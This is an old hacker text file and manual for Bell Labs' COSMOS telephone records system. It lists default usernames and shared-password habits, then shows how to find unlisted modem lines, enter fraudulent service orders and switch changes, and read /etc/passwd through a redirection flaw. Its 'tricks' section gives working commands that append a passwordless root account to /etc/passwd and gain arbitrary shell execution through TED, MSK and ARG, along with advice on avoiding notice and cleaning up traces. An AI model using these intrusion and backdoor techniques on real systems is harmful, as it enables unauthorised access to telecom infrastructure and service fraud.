| PRELUDE |
| In the past, many files have been written about COSMOS. I |
| have always been rather disappointed in their quality and in |
| their presentation, so I have taken on the responsibility of |
| doing one myself. This should sum up COSMOS for everyone who |
| reads it. It contains formats for very useful commands, an |
| entire transaction list, COSMOS "tricks", and a list of all COSMOS |
| abbreviations and their formats. |
| ============================================================================= |
| INTRODUCTION |
| Bell Labs COmputer System for Mainframe OperationS (COSMOS) |
| is basically just a database for maintaining records of |
| equipment and other line information and generating reports |
| on that information. The system is usually set up on a DEC |
| PDP 11/45 or 11/70. |
| The main responsibilities of the COSMOS system are: |
| Maintaining records |
| Issuing reports |
| Processing service and work orders |
| Assigning telephone numbers |
| Load balancing for switching computers |
| Output of ESS recent change information |
| LOGGING ON |
| When connecting to COSMOS the system will respond with: |
| ;Login: or LOGIN: |
| at which point you enter a username. The system will then |
| prompt: |
| PASSWORD: |
| at which point you enter the password for that username. |
| Finally, the system will prompt: |
| WC? |
| which asks you to enter the wire center for the exchange you |
| will be using in your work. After successfully completing |
| the login sequence you will be given the system prompt which |
| will be the two letter id of the wire center you entered and a |
| percent sign: "WC% " |
| To log off at this or at any point you can type control-y. |
| One of the major flaws in COSMOS security is that unless a |
| control-y is received the terminal is not logged out, even if |
| the user disconnects. Many times when you connect to COSMOS, |
| you will be dropped right into the "WC% " prompt. This even |
| happens on major BOC packet networks quite often. If you are |
| lucky enough to receive a 'WC#' prompt you have access to the |
| COSNIX shell, and can issue various unix-like commands, like |
| ls, cd, cat, et cetera. |
| COSMOS usernames are usually issued as two letters corresponding to |
| whatever center will be using that account, and two numbers. |
| EX: LA01 |
| Using the above example "LA01" there will most probably be numerous |
| "LA" accounts, possibly "LA01" through "LA15" or higher. This is true |
| for most COSMOS usernames. More often than not, all accounts used by the |
| same center will have the same password as well. Some common usernames |
| and their owners are: |
| ROOT System Manager |
| SYS System Manager |
| ML Loop Assignment |
| LA Loop Assignment |
| DN Main Distributing Frame |
| IN Repair Service |
| RS Repair Service |
| CE LNAC |
| LK Account to execute INQuiries only |
| JA Mizar |
| WLI Work Load Indicator |
| Usernames may vary from BOC to BOC, but these are fairly standard. |
| ============================================================================= |
| COSMOS TRANSACTION COMMANDS |
| COSMOS commands are three letter acronyms. I will explain in |
| depth the commands I have found most useful, and then list |
| the remainder. Remember, do not attempt to learn the formats for COSMOS |
| transactions online. You will probably not figure out correct inputs, and |
| will most likely cause problems for the system manager and yourself. |
| Commands are entered in a specific ways. The command desired is |
| entered at the WC% prompt. A second string of data is entered at |
| the next line which designates the type of transaction desired. |
| This line is prefixed with on of the following four letters: |
| H - Header Line |
| I - In Line |
| O - Out Line |
| R - Remark Line |
| The most commonly used line is the H line. It is a required input in |
| almost all COSMOS transactions. From the second line on, COSMOS will |
| prompt with an underscore "_" as the system prompt, to let the user |
| know that it is waiting for input. When all needed data has been entered, |
| the command is executed by typing a "." at the beginning of a new line. |
| If you wish to process a command, but stay in command level in order to |
| process further commands after the one you are currently entering has |
| finished, a ";" can be entered at the beginning of a new line. |
| To cancel the transaction you are entering, a "Q" should be entered at |
| the beginning of a new line. To interrupt output, the break character |
| is "^C". When entering criteria, you may enter all like data (all H-line, all |
| I-line, etc...) on one line using a "/" between input prefixes: |
| EX: H TN 222-0000,222-9999/RMKT SWBT?/US 1FB |
| is the same as entering: |
| H TN 222-0000,222-9999 |
| _H RMKT SWBT? |
| _H US 1FB |
| One of the most commonly used commands is INQ (Complete |
| Circuit Inquiry). There is also a short form of INQ called |
| ISH. This command requires only the use of H lines. Multiple H lines |
| can be entered to narrow a search or to print multiple reports. |
| Valid H line facilities used are: |
| BL Bridge Lifter |
| CON Concentrator |
| CP Cable Pair |
| CKID Circuit ID |
| MR Message Register |
| OE Office Equipment Number |
| PL Private Line Circuit Number |
| TK Trunk Cable and Pair Number |
| TN Telephone Number |
| TP Tie Pair |
| XN "X" Number |
| TRE Transmission Equipment |
| TER Terminal Number |
| GP Group Number |
| ORD Work Order |
| EX: To print information on telephone number 222-2222 |
| WC% INQ |
| H TN 222-2222 |
| _. |
| EX: To print information on cable pair 11-1111 |
| WC% INQ |
| H CP 11-1111 |
| _. |
| INQ will print a full report whatever circuit you examine, while ISH |
| will print a shorter, easier to read report. Below is an actual ISH |
| done on a Telenet node. |

| CA% |
| When you pull an inquiry on a number that you are interested in, you will |
| be given its cable pair, its order number, any numbers that connect to |
| it through a hunt sequence, and you will see any remarks entered about the |
| number. This information can prove to be very valuable. For instance: |
| You suspect that a company has a modem online, yet you don't want to waste |
| time sequentially dialing thousands of numbers. You can simply enter |
| an ISH on the number to get its cable pair, then begin pulling ISH |
| reports on cable pairs close to the main one. Then you need only dial |
| twenty or so numbers that are in the same area as the main number, and |
| you will find the computer. |
| Another extremely valuable command is SIR (Sorting Inquiry by Range). |
| With SIR, you can print the circuit information on all lines that match |
| specified criteria within a specified range of numbers. This command |
| requires only H line input, but numerous lines may be entered in order to |
| narrow down the search. You may also use the wildcard character ("?") to |
| encompass a larger range when doing a SIR. There are many applications |
| for SIR, but I will only show examples on a few I have found to be |
| most useful. |
| Many times entries have special remarks entered about the circuit. These |
| are usually entered as RMKT (Remarks on Telephone Number), but they may be |
| entered as RMKO (Remarks on Office Equipment) or RMKP (Remarks on Cable |
| Pair), depending upon what the person entering felt like typing. |
| Most of the time the remarks really don't correspond like they should. |
| Telephone companies are pretty thorough about remarking on a line that |
| they own and they will usually use the RMKT prefix. |
| EX: To find all telephone company (Southwestern Bell) lines in prefix 222 |
| WC% SIR |
| H TN 222-0000,222-9999 |
| _H RMKT SWBT? |
| _. |
| The "?" after SWBT acts as a wildcard. Typing SWB? would perform the same |
| search. |
| You may also want to search by STT (Telephone number status). Some types of |
| STT are: |
| AU Auxiliary |
| NP Non-published |
| OF Official (telco owned) |
| TS Test |
| Another way to distinguish types of number is by CS (Customer Class of |
| Service). CS values tend to vary from BOC to BOC, but business lines |
| will usually look like "1FB", or at least contain a "B". Residences |
| will usually look like "1FR." Sometimes telco lines are listed as "1OF", |
| but may also be entered as "1FB". On lines in a hunt group, the CS will |
| be appended with the letter "H", as "1FBH". |
| Let's say a company owns a block on an exchange (333) running from 1000 to |
| 3500. You want to find all possible computer numbers in that area. Chances |
| are good that they are not listed. |
| EX: |
| WC% SIR |
| H TN 333-1000,333-3500 |
| _H STT NP |
| _H CS 1FB |
| _. |
| The above would list all non-published business numbers from 333-1000 |
| to 333-3500. |
| To find all numbers that are translated 800 numbers in the same prefix range |
| as above, you can do the following: |
| EX: |
| WC% SIR |
| H TN 333-1000,333-3500 |
| _H PL ?800? |
| _. |
| This will prints reports on all private lines registered as 800 numbers. |
| There is also a shorter version of SIR, LTN (List Telephone Numbers), and a |
| more detailed version, GFR (General Facility Report), but I have found |
| SIR to be the better of the three to use for my purposes. |
| In order to change line attributes, or to create new lines you will need |
| to use two commands SOE (Service Order Entry), and RCP (Recent Change |
| Packager). These two commands are pretty detailed in what they can do, |
| so I will just cover a few of their options. |
| SOE will allow you to assign a new circuit, and specify the desired telephone |
| number, custom calling features, billing telephone number, etc. |
| SOE requires both "H" and "I" lines of input. The best way to enter |
| a new service order is to have COSMOS pick your new telephone number and |
| assign the needed office equipment number. If you want to pick your own |
| telephone number, the number you pick must have a status (STO) of SP, LI, RS, |
| or PD (with a disconnect date before the due date on your new service order). |
| This is so that you do not try to assign a number that is currently working |
| to your new service order. You can check this by doing an ISH on all the |
| variations of numbers you desire, and checking the STO. You can also get a |
| list of available numbers in a given prefix using the NAI command. You |
| should also do a SIR of recent entries, to try to find the proper format of |
| order numbers, so that you do not reuse one, or make one up that is formatted |
| incorrectly. Another method to make sure that you have the correct formatting |
| of order numbers is to call the phone company and request the installation of |
| a line in the area you are working in. They will tell you your service order |
| number for reference. Later, you can merely cancel the order. You will also |
| have to find a valid cable pair, so do an ISH on whatever number written in |
| your junction box that is not working, and then make sure there is no pending |
| connect orders entered on it. |
| To enter a service order for a new connection, having COSMOS pick an available |
| telephone number and assign proper office equipment numbers, you would do |
| the following: |
| EX: |
| WC% SOE |
| H ORD SO123456/OT NC/DD DD-MM-YY (Use valid Day, Month, Year for Due Date) |
| _I TN ?/US 1FR/FEA TNNL/OE ?/CP XX-YYYY (Use valid cable pair for XX-YYYY) |
| _. |
| You would now need to enter RCP and make a correctly formatted recent change |
| report for the order you entered so RCMAC can pick up the order and directly |
| enter it into the switch. What RCP does is take your order and change it into |
| actual switch programming, using templates that are stored in directories |
| corresponding to what type of switching equipment is used for that WC. |
| (EX: ess5a) |
| EX: To create a recent change package for the order entered above |
| WC% RCP |
| H ORD SO123455 |
| _. |
| Using SOE you can specify custom calling features, you can specify billing |
| telephone numbers, you can establish service as coin, and several other |
| options by adding "I" line information corresponding to that particular |
| option. |
| _I CCF XXXXXX (XXXXXX is valid custom calling features) |
| _I BTN NNX-XXXX (NNX-XXXX is valid billing TN) |
| _I TT C |
| To get a list of spare (available) telephone numbers in a given prefix, you |
| can use the NAI (Telephone Number Assignment Inquiry) command. You only need |
| enter H line criteria. In addition to searching by prefix (NNX), you can |
| search by switch type (TYP), or rate zone (RTZ). |
| EX: To select one spare telephone number in 555 and make it reserved status |
| WC% NAI |
| H TT X/NNX 555/STT RS |
| _. |
| You may also have NAI print out several available numbers, however, you cannot |
| change the status unless you are printing one listing. |
| EX: |
| WC% NAI |
| H TT X/NNX 555/LC XX (Where XX is a number between 1 and 25) |
| _. |
| To get a listing of all prefixes that exist in the Wire Center you are |
| logged in under, you can use the command DDS (Display DS Table). This |
| command will list the ranges that exist for a given input. |
| To list all telephone numbers in a given WC: |
| WC% DDS |
| H TN ? |
| _. |
| To list all cable pair ranges: |
| WC% DDS |
| H CP ? |
| _. |
| To change from one Wire Center to another, you use the command WCC (Wire |
| Center Change). This is a very straight forward command. |
| EX: |
| WC% WCC NW |
| NW% |
| To allow for redirection in your COSMOS commands, you must execute the |
| DIO command. This command is rather important for manipulating commands |
| to work for you. |
| EX: |
| WC% DIO |
| To see what transactions other people logged in are running, you can use the |
| command TSNAP (on certain generics) |
| EX: |
| WC% TSNAP |
| There are about one hundred other COSMOS commands that are all defined at the |
| end of this file. I cannot go into detail on all of them but I will list them |
| and their meanings. |
| ============================================================================= |
| COSMOS TRICKS |
| Even if you don't have full COSNIX access, you can basically execute |
| any command or read any file that exists in the system. Using the INQ |
| (or ISH) command and redirection, you can open and display any file. |
| EX: To display the password file |
| WC% INQ </ETC/PASSWD |
| This will display the file, however, since this is a flaw in the command, |
| it thinks the file is to be input for INQ, and each line will be preceded |
| with "ILLEGAL LINE TYPE", but this can be ignored. |
| Other files to look at: |
| /USR/FACS/WCFILE List of all Wire Centers |
| /ETC/MATRIX.P Permission Matrix (Who can execute what commands) |
| You may or may not want to try the following. There is a high probability |
| that you will be noticed on the system. If your local COSMOS ports are |
| usually left logged in, don't bother doing this. However, if your COSMOS |
| ports are always logged out, and you almost never get in, and you happen |
| to stumble upon one left logged for the first time in months, it might be |
| worth a try. |
| There are a few ways to make a new account on COSMOS; however, you need to |
| be able to write to the password file. Some systems allow this, but most do |
| not. |
| The easiest way involves using the echo command and redirection. |
| EX: |
| WC% echo "EB01::0::y:1:/tmp:/usr/cosmos:/usr/preop:/usr/so" >>/etc/passwd |
| This will add user EB01 to the end of the password file. |
| If you do not have access to echo you can do the same thing using the TED |
| command (Text Editor). |
| WC% TED >>/etc/passwd |
| S.O. NO.= SO123456 |
| IS THIS A NEW S.O. (Y on NO) Y |
| 1d |
| a |
| EB01::0::y:1:/tmp:/usr/cosmos:/usr/preop:/usr/so |
| ^C |
| 1p |
| w |
| q |
| After executing the above, you will need to clean up the /etc/passwd |
| file to remove the Service Order information put in there by TED. You will |
| also need to remove the service order you created from the /usr/so/WC |
| directory. |
| If you cannot find a way to get shell access, you can still execute |
| any COSNIX command you desire again using TED, MSK (Output a Transaction |
| Mask), and ARG (Assemble and Run a Given Master File). |
| EX: |
| WC% TED |
| S.O. NO.= SO123456 |
| IS THIS A NEW S.O. (Y or NO) Y |
| 12 |
| 1d |
| a |
| $* |
| run! |
| ^c |
| w |
| q |
| WC% MSK >/usr/so/newcmd |
| SO123456 |
| WC% ARG |
| newcmd ls /etc |
| To execute the command, you need to do ARG, then the name of the |
| file (which I called newcmd), then the COSNIX command you wish to |
| execute. |
| If you can use echo this can be done much easier. |
| EX: |
| WC% echo '$*' >/usr/so/newcmd |
| WC% echo 'run!' >>/usr/so/newcmd |
| Then you can run your command normally with ARG. |
| WC% ARG |
| newcmd cd .. |
| IF you do not have access to echo, create a newcmd file and you can use it |
| that way. |
| WC% ARG |
| newcmd echo EB01::0::y:1:/tmp:/usr/cosmos:/usr/so:/usr/preop >>/etc/passwd |
